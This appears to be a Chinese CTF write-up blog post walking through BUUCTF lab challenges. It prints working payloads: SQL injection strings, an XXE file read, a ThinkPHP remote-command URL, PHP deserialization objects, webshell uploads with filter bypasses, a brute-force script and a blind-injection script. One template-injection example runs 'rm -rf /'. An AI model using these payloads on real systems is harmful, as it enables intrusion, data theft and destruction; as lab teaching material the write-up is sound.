buuctf 在线测评

Basic 

BUU LFI COURSE 1

这一关很简单,可以看到这段PHP代码用get传入一个file参数,我们直接访问flag

BUU BRUTE 1

这里有一段Python代码

import time
import requests

# 目标URL
url="http://0a6ea7ab-7e4b-4214-aaf3-8478587a4b55.node5.buuoj.cn:81/?username=admin&password="

# 遍历密码范围:0000到9999
for i in range(0000, 9999):
    # 构造请求URL
    full_url = url + str(i)

    # 发送GET请求
    res = requests.get(full_url)

    print(f"Trying password: {i} - Status Code: {res.status_code}")

    # 打印服务器返回的完整响应内容
    print(f"Response Text: {res.text}")

    # 检查是否遇到 429 Too Many Requests 错误
    if res.status_code == 429:
        retry_after = res.headers.get('Retry-After', 0.5)  # 如果有 Retry-After,使用它;否则默认等待0.5秒
        print(f"429 Too Many Requests: Retrying after {retry_after} seconds")
        time.sleep(float(retry_after))
        continue  # 继续当前的密码尝试

    # 检查是否为正确的响应(假设正确响应是非默认错误消息)
    if res.text != "密码错误,为四位数字。" and res.text.strip():  # 增加检查非空响应
        print(f"Success! The correct response: {res.text}")
        break

需要改一下url,运行

BUU SQL COURSE 1

找了一圈发现这里可能有注入点

先用order by 确定数据的条数

?id=1 order by 3 #

到了3之后就没有回显了,那就说明数据为两列。

爆库

?id=-1 UNION SELECT 1,group_concat(schema_name) from information_schema.schemata

爆表

?id=-1 UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema='news'

爆字段

?id=-1 UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name='admin'

爆数据

?id=-1 UNION SELECT 1,concat(username,0x3a,password) from admin

然后用admin 和这个密码进行登录。

Upload-Labs-Linux

打开是一个upload靶场

这个靶场第一关很简单,直接f12  然后f1,禁用js就行了。禁用后上传一句话木马

用蚁剑链接

添加,能在里面找到flag

flag{1676f6b6-4bff-47d8-81c3-60062c7c1d2c}

BUU CODE REVIEW 1

这个代码的大概意思就是 get传参的值为1,post传参的值为2,并且看起来md5的值既相等又不想等。但是这里只有两个等号,为弱比较,有这些满足要求

字符串md5
QNKCDZO0e830400451993494058024219903391
s155964671a0e342768416822451524974117254469
s878926199a0e545993274517709034328855841020

payload

<?php
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
?>

传参,得到flag

BUU UPLOAD COURSE 1

看样子是文件上传漏洞,直接上传一句话木马试一试,

再用蚁剑链接。

链接成功后添加可以找到flag

flag{fd5e1901-d6a5-4f89-a18d-05980e7ae47f}

sqli-labs

进入第一关,发现传入?id=1,有回显,并且?id=1' 报错

判断列数

发现3不报错,4报错,说明有三列

判断输出位置

?id=-1' union select 1,2,3 --+

爆库

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata; --+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'; --+

爆列

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining'; --+

爆数据

?id=-1' union select 1,2,flag from ctftraining.flag --+

得到flag

BUU BURP COURSE 1

题中说了只能访问本地,用bp抓包

既然是访问本地,应该加上X-Real-IP,并且地址为127.0.0.1

注意这一行前面不能有空行

出现了登录页面,把这个页面放行,然后登录的时候进行抓包,抓包后会出现用户名和密码

这时候继续添加X-Real-IP:127.0.0.1 ,就好了,放行后,会出现flag

BUU XXE COURSE 1

输入一点东西试一下

发现输入什么都会弹出来,f12查看一下是什么方式传输

发现传输方式是XML,有可能存在XML漏洞,用bp抓包

存在XXE漏洞,那就读取flag文件

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY admin SYSTEM "file:///flag">
]>
<root> <username>&admin;</username> <password>123456</password> </root>

注意这里的admin 需要加上&和;原因:

XML 规范要求
XML 规定,所有实体引用必须遵循 &实体名; 的格式。这是为了与普通文本区分开。

<!-- 普通文本 -->
<username>admin</username>  <!-- 直接显示 "admin" -->

<!-- 实体引用 -->
<username>&admin;</username>  <!-- 将替换为外部实体内容 -->

找到flag

 LFI Labs

这是一个文件包含漏洞

直接查看flag

AWD-Test1

先上传一张图片试一下,

发现有一个thinkphp ,那就试一下,执行ls

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
  • 参数说明

    • s=index/\think\app/invokefunction
      通过路由参数s调用\think\App类的invokefunction方法,这是ThinkPHP框架内部用于动态调用函数的方法。

    • function=call_user_func_array
      指定调用PHP函数call_user_func_array,该函数允许通过数组传递参数动态执行函数。

    • vars[0]=system
      system作为第一个参数传递给call_user_func_array,即执行系统命令。

    • vars[1][]=ls
      ls作为第二个参数(数组形式),作为system函数的参数,即执行ls命令。

说明有rce漏洞

抓取flag

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
  • vars[0]=system
    将 system 函数作为 call_user_func_array 的第一个参数,即执行系统命令。

  • vars[1][]=find / -name "flag"
    传递 system 函数的参数 find / -name "flag",表示在服务器全局目录中搜索名为 flag 的文件。

用cat命令读取flag

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

BUU SQL COURSE 2

跟sql1很像,同样是sql注入

首先判断注入点在哪里,在这

首先试一下万能密码

?id=1 and 1=1 --+

有回显,

?id=1 and 1=0 --+

没回显 。

判断列数

?id=1 order by 1,2--+

列数为2时,有回显,到3后就没有回显了

爆数据库

?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata --+

爆表

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'; --+


爆列

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctftraining'; --+

爆数据

?id=-1 union select 1,flag from ctftraining.flag --+

PikaChu

找到文件上传,第一关,第一关是前端验证,只需要禁用js即可

上传成功后,用蚁剑连接

找到flag

web

[SUCTF 2019]EasySQL

是一个sql注入。尝试1' 没回显,1' # 同样没有回显。那就尝试一下堆叠注入

爆库

1; show databases;

爆表

1;show tables;

爆列的时候发现行不通了  1;show columns from 1;    说明应该是被过滤了。

参考BUUCTF [SUCTF 2019]EasySQL1 writeup(详细版)-优快云博客

1;set sql_mode=PIPES_AS_CONCAT;select 1

[极客大挑战 2019]LoveSQL

输入admin' 报错

但是输入admin' or 1=1 # 不报错

爆字段

admin' order by 1,2,3 #

输入3的时候不报错,输入4 就报错了,说明只有三列

看回显点

1' union select 1,2,3 #

 回显位在2,3

爆数据库

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #

爆表

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' #

爆列

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' #

爆数据

-1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

[极客大挑战 2019]BabySQL

是单引号闭合方式

在用 order by 猜测有几个字段的时候,发现他过滤了or,只剩下der

双写绕过,判断回显点

-1' ununionion seselectlect 1,2,3 #

爆库

发现也被绕过了

-1' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #

爆表

-1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema='geek' #

爆列

-1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='geek' #

爆数据

-1' ununionion seselectlect 1,2,group_concat(id,username,passwoorrd) frfromom b4bsql #

[强网杯 2019]随便注

使用堆叠注入

0';show tables; -- a

获取字段

0';show columns from `1919810931114514`; -- a

获取数据

0';handler `1919810931114514` open;handler `1919810931114514` read first; -- a

[极客大挑战 2019]PHP

提示是有备份文件,但是我用御剑扫了一下什么也没扫出来

用dirsearch 扫了一下,发现了一个www.zip

访问

先访问index.php 这里有一段php代码

包含了class.php 继续访问

代码的大致意思就是要使username='admin',password=100 

构造payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[ACTF2020 新生赛]BackupFile

看样子应该是有备份文件,先用dirsearch 扫一下

看到别人的wp上扫出来的都是这个index.php 不知道为什么我这里没有显现颜色,其他扫出来的基本都没什么用,先访问下载

这里是一个弱比较类型,需要用get 方式传入一个key ,并且key的值要和str相等,由于是弱比较,我们传入 ?key=123 就可以了

比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。

 

[RoarCTF 2019]Easy Calc

查看源码 ,发现有一个calc.php ,访问

可以看到过滤了很多字符,我们先试一下?num=system('ls /')

如果这句话是被过滤掉了的话,应该显示 what are you doing ,所以这里应该是被防火墙拦截了

应该在num前面加一个空格,这样不会被拦截,而且在php解析时,会自动过滤掉空格

这样才对  那我们先查看目录

? num=var_dump(scandir(chr(47)))

var_dump是输出函数

scandir是用于获取指定目录中的文件和文件夹列表

47是 / 的ASCII码值

chr 是把数字转换为字符串的函数 

 

看到了一个f1agg,查看

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

file_get_contents 是把整个文件读入一个字符串中的函数

47,102,49,97,103 分别是 / f 1 a g 的ASCII码值

 

[HCTF 2018]admin

这个题应该是想办法用admin账户登录就能拿到flag

登录时用bp抓包

对密码进行爆破

攻击完成后用admin 123 登录就好了

[护网杯 2018]easy_tornado

打开是三个txt文件

 这个题有关tornado模板注入,先了解一下这个

漏洞原理

  1. 动态内容渲染:若用户输入直接作为变量传入模板(如{{ name }}),且未过滤危险字符,攻击者可注入模板表达式。

    • 示例:用户提交name={{7*7}},页面输出49,表明表达式被执行。

  2. 代码执行:通过注入恶意表达式访问Python内置模块(如os),可能导致命令执行。

    • Payload示例{{ __import__("os").system("rm -rf /") }}

Tornado模板特性

  • 语法:使用双大括号{{}}插入变量,{% %}控制流程。

  • 自动转义:默认对HTML内容转义防XSS,但不防御模板语法执行

  • 沙盒限制:Tornado模板引擎在受限环境中运行,但某些版本或配置可能存在绕过风险。

漏洞利用步骤

  1. 探测漏洞:输入{{7*7}},观察是否返回49

  2. 信息泄露:尝试访问上下文对象(如{{handler.settings}})获取敏感配置。

  3. 代码执行:利用Python内置函数或模块构造Payload执行系统命令。

 我们输入{{handler.settings}}  发现了cookie

91b5e235-0c9d-4f49-85d5-72387a67655d

我们在hints.txt中发现了一个公式

也许按照这个公式进行md5加密就能得到flag。将cookie_secret和进行md5加密后的文件名进行拼接后 再进行md5加密

之前再flag.txt文件中,我们看到了flag存在的文件

3bf9f6cf685a6dd8defadabfb41a03a1

633a735d05329f6680c554776de1572e

payload

?filename=/fllllllllllllag&filehash=633a735d05329f6680c554776de1572e

[ZJCTF 2019]NiZhuanSiWei

isset($text) && file_get_contents($text) === "welcome to the zjctf"

检查text参数是否存在,并验证其指向的文件内容是否为指定字符串。

若满足,输出文件内容,并检查file参数是否包含flag(若包含则拒绝执行)。

若不满足,进入else分支,包含file指向的文件(如useless.php),并对password反序列化后输出。

提示有//useless.php 文件,尝试访问

但是file_get_contents函数是得读取到"文件"里的内容,而$text是一个变量,file_get_contents不能读取一个变量,所以尝试用data伪协议尝试读取内容

?text=data://text/plain,welcome to the zjctf

继续读取useless.php ,使用php伪协议

?text=data://text/plain,welcome to the zjctf&file=php://filter/read/convert.base64-encode/resource=useless.php

把这段代码进行base64解密

构造payload

<?php
class Flag
{  //flag.php
    public $file = 'flag.php';
}
$a = new Flag();
echo urlencode(serialize($a));
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A{s%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B}

这里是直接访问useless.php文件了,如果继续用php伪协议访问的话只会出现useless.php的文件内容

查看源码得到flag

[MRCTF2020]Ez_bypass

他叫我们f12看一下,我们直接查看源码,发现里面是一段PHP代码,和外面的是一样的

进行代码审计,这段代码的大概意思就是,用getd方式传入id和gg,并比较他们md5加密后的值,这里三个等号说明是强比较;用post方式传入passwd,并且不能是数字,但是后面一个if循环确是要是数字才能进去才能拿到flag,不过这里不同的是,两个等号是弱比较.

在前面的解题中有提到md5值相等的有,先试一下

字符串md5
QNKCDZO0e830400451993494058024219903391
s155964671a0e342768416822451524974117254469
s878926199a0e545993274517709034328855841020

payload

/?gg[]=QNKCDZO&id[]=s155964671a

可以看到已经绕过了第一层

接着第二层,由于在传入passwd时是弱比较,可以传入

passwd=1234567a

这里的a可以是任何字母,PHP在解析时,因为数字在前面,并且是弱比较,就会把他整体转换成数字进行比较

flag{8836d2c7-1a99-404f-b233-bee58a87d20d}

[极客大挑战 2019]HardSQL

又又又是sql注入

试一下万能密码

1' or 1=1 #

这里参考这一篇,非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)-优快云博客

大佬说不仅过滤了很多字符,并且还过滤掉了空格

重新构造的万能密码为

1'or((1)like(1))#

like没有被过滤,可以使用like可以绕过=号

在这之前可以先测试闭合符,可以看待闭合符为单引号

爆库

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

查询数据库

username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'
解释一下updatexml函数

UPDATEXML(XML_document, XPath_string, new_value)
若 XPath_string 格式非法,MySQL会抛出错误,并在错误信息中返回非法内容。

构造XPath 非法途径:

0x7e:十六进制的 ~ 符号(通常用于分隔敏感数据)。

(select database()):获取当前数据库名称。

最终生成的XPath路径形如 ~database_name~,因包含 ~ 导致XPath语法错误.

所以最终会报错如下:

XPATH syntax error: '~database_name~'
————————————————

                            版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                        
原文链接:https://blog.youkuaiyun.com/2301_80871705/article/details/144612136

 这里在这篇文章提到过

pikachu靶场通关详解-优快云博客

可以看到数据库名为geek

爆表

1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

H4rDsq1

爆字段

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#

爆数据

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

但是这里只有一段flag

flag{5fd54fa9-10ae-4673-bf

使用right字符得到后半段

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

e-4673-bfb6-ec2d1b838282}

flag{5fd54fa9-10ae-4673-bfb6-ec2d1b838282}

[网鼎杯 2020 青龙组]AreUSerialz

代码审计

漏洞分析

  1. 反序列化入口:通过$_GET['str']接收输入,并调用unserialize(),未进行足够的安全检查。

  2. FileHandler类

    • __destruct()析构函数在对象销毁时会调用process()

    • process()方法根据op的值执行读/写操作。

  3. 关键逻辑:若op2read()方法会读取filename指定的文件内容并输出。

  4. 绕过检查is_valid()函数过滤不可打印字符,但可通过十六进制转义绕过对空字节的检测。

利用步骤

  1. 构造恶意对象

    • 设置op为整数2(绕过__destruct()中的=== "2"检查)。

    • 设置filenameflag.php

设置op变量的值为数字2,这样一来,在__destruct()方法中,数字2不等于字符串2,因此__destruct()函数不会修改op变量的值,而在process()函数中,数字2和字符串2的值是相等的,因此会使得程序执行后续的read()函数。 

在read()函数里$res = file_get_contents($this->filename),这里可以借助php伪协议来读取flag.php的内容。

 payload

<?php
class FileHandler {
    public $op=2;
    public $filename="php://filter/convert.base64-encode/resource=flag.php";
	public $content;
	}
$a=new FileHandler;
$str1=serialize($a);
echo $str1;
?>

/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

进行base64解码

flag{2512196d-bd24-4a4f-90f5-3a35a38ad871}

[GXYCTF2019]BabyUpload

是一个关于文件上传的 

但是我试了很多,php、图片马、更改文件类型...都没有成功

我们构造.htaccess文件

SetHandler application/x-httpd-php

用bp抓包

更改文件类型为image/jpeg 上传成功

上传.htaccess文件是为了解析.jpg文件中的php代码

当我们上传jpg格式的一句话木马时,发现还是不成功,

.jpg文件中的php代码修改为 javascript 的形式

<script language='php'>
    $a = "a"."s";
    $b = "s"."e"."r"."t";
    $c = $a.$b;
    $c($_POST["cmd"]);
</script>

再上传muma.jpg

上传成功后,用蚁剑连接

连接成功,找到flag

flag{6b6b367e-6d6f-4e61-b2f9-d533416e1609}

[SUCTF 2019]CheckIn

依然是文件上传

测试了一下,不仅对问价后缀名、文件内容、文件类型都有检测

在上传图片马的时候,发现不能含有<?,并且在上传文件时还显示

 使用exif_imagetype函数来判断是否是jpg文件,使用添加gif文件头GIF89a就能进行绕过

修改一句话木马

GIF89a
<script language='php'>eval($_POST['cmd']);<scirpt>

上传成功。那接下来就需要一个文件帮我们把jpg格式的文件解析成php,上一个题目说过用.htaccess文件,但是在这一关行不通了,我们使用另一个——.user.ini 文件

GIF89a
auto_prepend_file=GIF89amuma.jpg

注意文件名是一样的,上传

不知道为什么这里我的蚁剑一直连接不上。。。

换一种方式试一下

先上传.user.ini 文件,文件内容

GIF89a
auto_prepend_file=GIF89amuma.jpg

注意最后的文件名要和你之后上传的一样

再上传GIF89amuma.jpg

GIF89a
<script language='php'>system('cat /flag');</script>

再访问 /uploads/84fcf6f4860995b3c940cd0954e794e3/index.php

访问时进行抓包,这时候就能找到flag

flag{d920882b-f768-470a-94e5-c4c49083782a}

[GXYCTF2019]BabySQli

测试单引号

发现闭合符确实问单引号

但是在测试万能密码的时候发现被过滤了,并且打开f12时发现了一串字符

把这段字符进行两次base64 解码后是这样的

    select * from user where username = '$name'

这段字符就是在检测你输入的用户名是否存在

猜测用户名是admin时,admin' #

回显如下

错误的是密码,这说明用户名猜测正确

猜测字段数

admin' union select 1,2,3#

字段数为2或4时都报错,说明字段数就为3

然后就要测试回显点在第几位

1' union select 1, 'admin',3#

发现只有admin在第二位的时候回显wrong pass

但是在最后写payload的时候卡住了,这里我们虽然猜对了用户名但是还有密码

这里大佬说

mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;

 所以我们输入的密码是123的话,将123进行md5加密

⚠️:如果你输入的密码为123,那么就对123进行md5加密,如果是1234,那么就要对1234进行md5加密,这里加密的内容要和你输入的密码是一致的

202cb962ac59075b964b07152d234b70

所以payload是

1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#

BUUCTF--[GXYCTF2019]BabySQli详解-优快云博客

[GYCTF2020]Blacklist

提交1' 报错,有点像sql注入

在查看回显点,输入 1' union select 1,2,3# 时,发现被过滤了,应该是黑名单

查询数据库

0';show databases;#

查询表

0';show tables;#

查表

0';show columns from `FlagHere`;#

这时直接查看flag

0';select flag from `FlagHere`;#

被过滤了,绕过

0';sel/**/ect flag from `FlagHere`;#

这时发现什么都没有

重新构造的payload为

0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

flag{d2140aa6-6fda-48dd-a76e-945b7ab90a30}
  • HANDLER FlagHere OPEN;:打开名为 FlagHere 的表的句柄(类似游标)。

  • HANDLER FlagHere READ FIRST;:读取表中的第一行数据。

  • HANDLER FlagHere CLOSE;:关闭句柄释放资源。

  • 攻击意图

    • 直接访问表数据,绕过常规的 SELECT 查询,可能用于规避黑名单过滤(如禁用 SELECT 但未过滤 HANDLER)。

    • 假设 FlagHere 表存在且包含敏感信息(如CTF题目中的flag),攻击者试图读取其首行数据。

 详情请参考[GYCTF2020]Blacklist-优快云博客

[CISCN2019 华北赛区 Day2 Web1]Hack World

首先了解一下什么是uuid 

UUID(Universally Unique Identifier,通用唯一识别码)是一种用于在分布式系统中生成唯一标识符的标准。它的核心目标是确保生成的标识符在全球范围内唯一(几乎不可能重复),无需依赖中心化的协调机制。

测试了一下,是关于sql注入的

在提交1,2时妈,返回一段英文

提交大于2的数字时,返回Error Occured When Fetch Result.

提交其他字符时,返回bool(false)

所以猜测类型为布尔盲注

布尔盲注的脚本

# 布尔盲注脚本
import requests
import time
s = requests.session()
flag = ''
count = 0  # 若count==1,则flag已找到

for i in range(1, 60):  # 假设flag最长60位
    if count == 1:
        break

    for j in range(32,128):  # 32-128 对应ASCII码表十进制数对应的字符,刚好把flag中常见的特殊字符也包括在内,例如“-”

        url = "http://1397b166-274e-4201-b163-ec946cccd8a7.node5.buuoj.cn:81/index.php"
        # %是字符格式化的用法, %后的字符会被放入 %前的字符串中占位符所在的位置
        sqls = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
        data = {"id": sqls}
        time.sleep(0.07)

        c = s.post(url, data=data,timeout=None)  # 不设置超时timeout = none
        c.encoding = c.apparent_encoding

        if 'Hello, glzjin wants a girlfriend.' in c.text:
            tmp = chr(j)
            flag += str(tmp)
            print(flag)
            break

        # if "}" in flag:
        #     print(flag)
        #     count = 1
        #     break

requests.session(): 用于保持 HTTP 会话,适用于需要多次请求的场景(如维持登录状态)。

  • sqls 构造逻辑

    • substr((select(flag)from(flag)), %d, 1):从 flag 表的 flag 字段中截取第 i 个字符。

    • ascii(...):将字符转换为 ASCII 码。

    • if(条件, 1, 2):若条件成立(当前字符的 ASCII 码等于 j),返回 1,否则返回 2

  • time.sleep(0.07):降低请求频率,避免触发 WAF(Web应用防火墙)或速率限制。

 

# 根据响应内容判断字符是否正确
        if 'Hello, glzjin wants a girlfriend.' in c.text:
            tmp = chr(j)           # 将ASCII码转为字符
            flag += str(tmp)       # 拼接字符到flag
            print(flag)            # 实时输出爆破进度
            break                  # 跳出内层循环,继续爆破下一个字符

 

脚本来自:练习7 Web [CISCN2019 华北赛区 Day2 Web1]Hack World_ciscn2019 hack world-优快云博客

运行之后的结果

flag{785b7ba0-e131-487f-abc0-b1eae9c2021b}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值